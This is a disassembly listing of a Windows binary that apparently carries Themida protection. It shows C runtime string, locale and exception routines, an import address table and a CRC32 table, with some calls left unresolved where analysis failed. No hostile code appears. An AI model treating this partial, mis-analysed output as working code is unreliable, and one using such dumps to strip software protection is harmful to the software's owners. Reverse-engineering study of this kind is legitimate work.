loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 266030Ch
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
sub_426636	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426680	proc near		; DATA XREF: Themida_:0056616Eo
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426680j
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426680+8j
		cmp	[ebp+14h], esi
		jle	short loc_4266C1
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_4266C1:				; CODE XREF: sub_426680+2Fj
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 2640000h
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426680+49j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+20h], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+20h], eax


loc_4266FE:				; CODE XREF: sub_426680+74j
		push	esi
		push	esi
		push	esi
		push	esi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	220h
		push	dword ptr [ebp+20h]
		nop
		call	near ptr 2861045h
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp-4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-1Ch], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	esi, esi
		mov	[ebp-1Ch], esi


loc_426744:				; CODE XREF: sub_426680+B6j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	[ebp-1Ch], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	220h
		push	dword ptr [ebp+20h]
		call	near ptr 2861045h
		nop
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 2650000h
		mov	edi, eax
		mov	[ebp-2Ch], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	dword ptr [ebp-4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-24h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	esi, esi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-2Ch]


loc_4267C7:				; CODE XREF: sub_426680+133j
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_426805
		mov	eax, [ebp+1Ch]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426680+172j
		push	eax
		push	ebx
		push	dword ptr [ebp+18h]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426680+167j
		cmp	[ebp+1Ch], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426680+188j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_426814:				; CODE XREF: sub_426680+18Cj
		push	edi
		push	ebx
		push	1
		push	dword ptr [ebp+20h]
		nop
		call	near ptr 2720000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426680+16Ej
					; sub_426680+183j
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426680+1Cj
					; sub_426680+6Bj ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426680+63j
					; sub_426680+1A9j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426680	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426680+37p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 260075Fh
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2861045h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2861045h
		nop
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 260075Fh
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25E0000h, 25F0000h, 25F0B26h, 25F0B69h, 25F0ED8h, 2600000h
		dd 260075Fh, 2610000h, 2610553h, 2620000h, 26208E8h, 2620B35h
dword_427030	dd 2620B48h		; DATA XREF: ___:004239E2r
		dd 2620BD2h, 2620EB0h, 2630000h, 2630152h, 2640000h, 2650000h
		dd 2660000h, 266030Ch, 26608F7h, 2660915h, 2670000h, 26707C2h
dword_427064	dd 2670C47h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2670DAEh		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2680000h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 268024Eh, 2690000h, 26A0000h
dword_427080	dd 26A044Bh		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 26A04ABh		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 26A065Fh
dword_42708C	dd 26A072Ah		; DATA XREF: sub_419C09+B9r
		dd 26A0C74h
dword_427094	dd 26A0CA7h		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 26B0000h		; DATA XREF: ___:loc_4013DCr
		dd 26B03C7h, 26B049Bh
dword_4270A4	dd 26B050Eh		; DATA XREF: sub_409909+2r
		dd 26B061Ah, 26B069Fh
dword_4270B0	dd 26B0C98h		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26B0D20h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26C0000h, 26C0A6Dh
dword_4270C0	dd 26C0B72h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26D0000h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26E0000h, 26F0000h, 26F0601h, 2700000h, 77F7E300h, 77F7E21Fh
		dd 27006FDh, 2710000h
dword_4270E8	dd 2720000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 2730000h		; DATA XREF: sub_4119F9+Br
		dd 2740000h, 27407CDh
dword_4270F8	dd 2750000h		; DATA XREF: sub_4187E0+36r
		dd 2750275h, 2750330h
dword_427104	dd 27507EAh		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2760000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2770000h, 2780000h, 2780B63h, 2790000h, 279060Eh, 27A0000h
		dd 27B0000h, 27C0000h, 27C0AECh, 27D0000h, 27D0101h, 27D0265h
		dd 27D0580h, 27E0000h, 27E0799h
dword_427148	dd 27E09B2h		; DATA XREF: sub_4172C1+BCr
		dd 27F0000h
dword_427150	dd 2800000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 2800C43h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 2800CB5h
dword_42715C	dd 2810000h		; DATA XREF: sub_41761C+56r
		dd 281024Fh, 2820000h, 2830000h, 283057Ch, 2830C17h, 2840000h
		dd 284018Eh, 28408AAh, 2850000h, 2860000h
dword_427188	dd 2861045h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2870000h, 2870476h, 2870850h, 2870B03h, 2880000h, 2890000h
		dd 28A0000h, 28B0000h, 28B1B47h, 28B1B71h, 28C0000h, 28C0CE5h
		dd 28D0000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
